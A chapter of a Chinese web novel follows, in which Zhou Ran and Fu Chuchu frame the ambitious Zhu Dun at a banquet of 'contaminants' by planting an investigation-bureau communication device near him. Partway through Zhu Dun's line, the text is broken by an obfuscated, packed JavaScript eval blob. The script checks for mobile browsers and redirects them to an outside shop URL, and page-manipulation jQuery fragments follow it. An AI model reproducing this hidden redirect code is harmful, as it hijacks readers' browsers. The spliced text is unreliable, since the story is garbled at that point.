第六十三章
时邈的手缓慢松开，黑色的能量缓缓散去，如潮水般悄然褪开。
他目光锐利地在林承熙脸上停留片刻，带着一丝冷淡的轻蔑。
“林承熙，这个局有你没你，都能进行下去。”
林承熙挑了挑眉，半是血肉半是机械的脸轻浮地笑了笑，他直起身子，缓缓抬起酒杯，红色的高级进化剂在杯中晃动。
他的眼神微微敛起，故意拖长语调：
“那就祝你旗开得胜了，伊瑟尔大人。”
时邈冷哼一声，未再回话，转身离去，衣袍掠起空气，带起一丝凌厉的风。
外厅的灯火摇曳，光影阴暗交错。
周然站在宴会厅的角落，手中的酒杯里液体晃动，他的目光透过人群，扫视全场。
他低声向身旁的扶楚楚道：“想要保全你的身份，难免需要些许牺牲嘛。”
扶楚楚皱眉，嘴角微微抿起，有些不甘。
“你的意思是，要栽赃给别人？”
“怎么，你在污染物里当眼线久了，有感情了？”
周然看着她的样子，笑道，
“舍不得？”
“倒也不是。”扶楚楚停顿了一下，思考道，“有感情也不至于，毕竟也不是每一个污染物的我都熟知……不过，你选了哪个可以告诉我吗？”
她的眼神闪烁，多少有点言不由衷。
周然看着她那副模样，其实多少是可以理解。
在污染物之中待久了，有时候确实会觉得，似乎这些“怪物”，比某些人类更有人情味。
周然晃了晃手中的酒杯，淡淡道：
“朱敦不是总爱暗地里诋毁夜魇么？那就如他所愿。”
扶楚楚顺着周然的目光看去，朱敦正挥舞着粗壮的手臂，在墟蛰一族里发表着什么高谈阔论。
一群矮壮的墟蛰围绕着它，活像是一圈歪裂的冬瓜。
扶楚楚忍不住露出一丝冷笑，眼中带着隐约的讽刺：“他啊，本来就野心勃勃，总是妄想代替夜魇，这一报应倒也来的正好。”
“有时候报应不够快，就得自己动手。毕竟，野心太大，对于能力不足的人来说是一种残忍。”
周然轻轻点头，语气淡然：
“我们只需要一点暗示，他便会自己走向深渊。”
扶楚楚看着周然喝下那一口酒精，似乎只是在说一件普通的事情。
这个人……冷静得好可怕。
虽然他苍白瘦削，但是却能让人感觉到一种诡异的压迫。似乎什么都还没有做，就已经置人于死地。
扶楚楚心中咂了咂舌。
“一个问题，你觉得阮知絮对你的信任度有多少？”周然问道。
扶楚楚听他提起这个话题，顿时来了几分精神，自信地扬起下巴：“应该很高了吧。我为阮小姐做了这么多事，付出过不少，差点连命都搭上。”
她稍微停顿了一下，补充道，“她对我也确实不错，别的侍从根本拿不到的装备，她都特意为我安排呢。”
周然闻言，眼神不变，随意地嗯声道：“嗯，那就好。希望她一会不会怀疑你。”
扶楚楚见他这个样子，顿时有些不服气，补充道：“而且我在污染物中算是打入最深的人类的，连林队长都夸我，说还没有人类做到这一步呢。你放心吧，真到生死关头，阮小姐肯定会帮我。”
周然似笑非笑地看了她一眼，眼底淡淡的波澜，藏着些不明意味的情绪。
“这样最好。”
扶楚楚被他看的有些心里发毛，忍不住挑眉道：“倒是你，夜魇一族向来谨慎。伊瑟尔对你……有那么高的信任吗？”
周然只是微微一笑，眼神若有所思，却并未直接回答。
“我有点担心，伊瑟尔一会会不会怀疑到你头上。”扶楚楚继续道，“别到时候我们俩都被拖下水了。”
片刻后，周然淡淡开口道：“你不用担心。我们之间的信任，或许比你们要深得多。”
扶楚楚听得一怔，眼神中浮现出几分狐疑，不自觉地打量着他：“这话什么意思？我可为阮小姐出生入死过，信任度拉满了。”
周然抿了一口酒，神色自若地看向她，目光仿佛穿透了整个厅堂：“一会你就会明白的。”
扶楚楚被他一番话说得有些不服气，忍不住反问道：“谜语人……难道你还真把自己当成间谍行家？”
周然不慌不忙地看了她一眼，笑意似有若无地浮上唇角，“万一我真的是呢？”
扶楚楚一愣：“啊？”
“开玩笑啦。我不过是新人罢了。”
周然语气轻松，看向扶楚楚的透出些许担忧，“不过在这行里，只有活下来的才能称得上行家嘛。”
她太单纯了。
为林正熙卖命，实在不值得。
扶楚楚愣了一下，目光微微动摇，却又不甘心地直视他道：“所以你到底打算怎么做？”
“简单，咱们需要给朱敦制造一些证据。”
周然淡淡道，眼神中闪烁着平静的光芒，
扶楚楚迟疑地看了他一眼，随即反应过来，语气中透出些许警惕：“你是说……人类通讯装置？”
周然微微一笑，仿佛早已胸有成竹，目光沉静：“正是。”
他目光下移，看了看扶楚楚手中的战鞭，带着些调侃道：“扶小姐，既然林正熙觉得你堪当重任，那这种装置……我猜你身上总有些类似的吧？”
扶楚楚的眼中闪过一丝戒备，抿唇道：
“……有是有。但人类通讯装置我只有一个，还打算在关键时刻再用上呢。”
周然闻言，似乎毫不意外，淡淡道：“现在就是关键时刻，否则哪还有下一个'关键'。”
扶楚楚瞪了他一眼，低声道：“你确定吗？这装置可不是随便能搞来的，调查局的内部军用装备，价值很高。”
周然笑了笑，随意地将目光移向远处：“舍不得孩子套不着狼嘛。扶小姐，我之后再赔你一个？”
扶楚楚一愣，脸色微微有些尴尬，但随即又压了下去，咬了咬牙，终于手中蓝光泛起，一个小小的脉冲传递器浮现在她掌心。
她迟疑地将它递到周然面前，语气不甘地解释道：
“这是林队长给我的，可以植入污染物体内，在短时间内无缝传递信息……可只有一次机会。”
她眼中浮现出一丝不舍。
周然接过传递器，若有所思地端详着。
他的指尖摩挲着这枚极具科技感的精密装置，装置的表面泛着冷光，刻有调查局的独特徽记，嵌入身体后会隐藏在皮肉之下，极具隐蔽性和危险性。
“放心吧。”
他轻轻掂量着手中的传递器，像是掂着一枚硬币，笑着摇了摇头，
“这个装置的价值今晚会翻倍，到时候你会明白，这笔账算的来。”
扶楚楚忍不住低声道：“……说真的，你怎么总是笑得让人起鸡皮疙瘩。”
“有么？”
扶楚楚狠狠点了点头。
有啊，太有了！
周然低声道：“待会儿，我会分散朱敦的注意力，你趁机把脉冲装置悄悄放在他桌边。别担心，只要他还在这座大厅里，就不会发生异样。”
扶楚楚一怔，忍不住压低声音反问道：“周然，你确定……这个方法真的能栽赃成功？”
周然笑意温和，目光中却透出几分笃定：
“有时候，谁是真的眼线不重要，重要的是大家怎么想。”
外厅的气氛愈加喧嚣，周围的污染物们推杯换盏，带着几分醉意的吵闹逐渐掩盖了周然和朱敦的交锋。周然站在一旁，面上挂着不温不火的微笑。
“朱敦大人，先前有些唐突，完全是夜魇职责所在，希望您不要放在心上。”
朱敦心里警铃大作，目光狐疑地上下打量着他，眉头紧蹙，眼中满是狐疑之色。
“周然，少来这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092928|142925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
套假惺惺的，你是不是又有什么话想说？”
他打量着周然手上，反复确认没有伤口和血。
周然笑容不改，将杯中的酒一饮而尽，目光温柔无害：“没什么特别的，只是想要提醒您一句，毕竟高层换血在即，像您这种身份显赫的大人，更要格外小心些。”
朱敦闻言，眉头紧锁：“突然说这个干什么，我看这里最对我不利的，就是你。”
“没有的事。”周然轻描淡写地摇头，仿佛在安抚他似的，“您也知道，伊瑟尔大人向来注重夜魇的安全，而最近调查局那边可没少对污染物动手，尤其是你们墟蛰一族……虽说是为奴，但伊瑟尔大人也特意吩咐我多加留心您的安危。”
朱敦脸上青一阵白一阵，摸不清周然想说什么。
就在这时，扶楚楚趁着众人不注意，悄悄地将脉冲装置放到了朱敦的餐桌边。蓝光微弱地闪烁了一下，随即陷入隐匿，若不细看，几乎难以察觉。
她故作无事地站起身，随意地理了理袖口，朝周然递过去一个心照不宣的眼神。
“你的意思是，我们墟蛰一族会有危险？”朱敦眯起眼，有些怀疑。
周然淡淡道：“我听说这次集会的位置被暴露了，该不会是有人利用了墟蛰族的人，又或者是，利用了您……”
听到这话，朱敦的神情瞬间冷了几分，警惕地瞥了周然一眼：
“周然，你到底想说什么，你这是暗示我和人类有牵连？”
周然微微抬头，脸上浮现出无辜的笑意：“哪里敢啊，大人，只是突然明白了，您为何一入场就对我多加提防。大概是知道我今晚负责调查人类眼线，怕牵连到您吧？”
周围的污染物们目光都汇集了过来。
就在这时，朱敦猛然伸出手，一把抓住了周然的肩膀：“周然，你怀疑老子？！什么人类的眼线，老子根本就没听说过！”
周然微微颤了一下，似乎被他的推搡弄得中心不稳，竟是踉跄了一步，显得有些意外的脆弱。
朱敦一愣。
这家伙，前面不都还能用血控制我吗，
怎么这么轻易就被推倒了？？？
周围的污染物们也纷纷议论起来。
“周然是好心来和解的，结果朱敦还这么大动肝火……莫非他真的有些见不得光的事？”
“是啊，夜魇一向小心谨慎，若没有把握不会随便说话的。朱敦这样反应未免有些过头了……”
周然低垂着头，微微喘息了一下，似乎有些力不从心地扶稳身子，语气中透出一丝无奈的苦笑：“我不过是好意提醒，没想到竟会惹得大人如此动怒……看样子真是我多嘴了，倒显得您有些……在意？”
“你、你装什么可怜？！”
朱敦看着周然那副委屈的模样，心头的火气越发难以压制，却又被周围的目光激得发作不得。他不由得有些结巴。
扶楚楚看着周然这副柔弱的模样，不禁咂舌。
这演技，堪称一绝。
绿茶的真髓——
表面无害，暗藏杀机。
“大人，我本来也只是想提醒您而已，没想到事情会发展到这个地步……看来是我多嘴了。”
周然淡淡道，他转而看向桌边，忽然故意露出一抹疑惑的表情，声音放低：
“咦，这边好像……有什么东西？”
扶楚楚和众人一同看过去，正瞧见桌边闪烁着微光的脉冲装置。
众污染物哗然，有人喊道。
“这，这好像是调查局的通讯装置？！”
朱敦的脸色霎时白了。
“朱敦大人，真是辛苦您了……我这人就是容易多想，毕竟，像这种高层次的通讯装置，一般也只有立了大功、被信任的人类才会接触到吧，”他笑了笑，带着点惋惜的意味，语气温和，仿佛是在替朱敦辩解，
“像您这样出名了的蠢货，身上居然会有这种东西，肯定只是个巧合。你说对吧，朱敦大人？”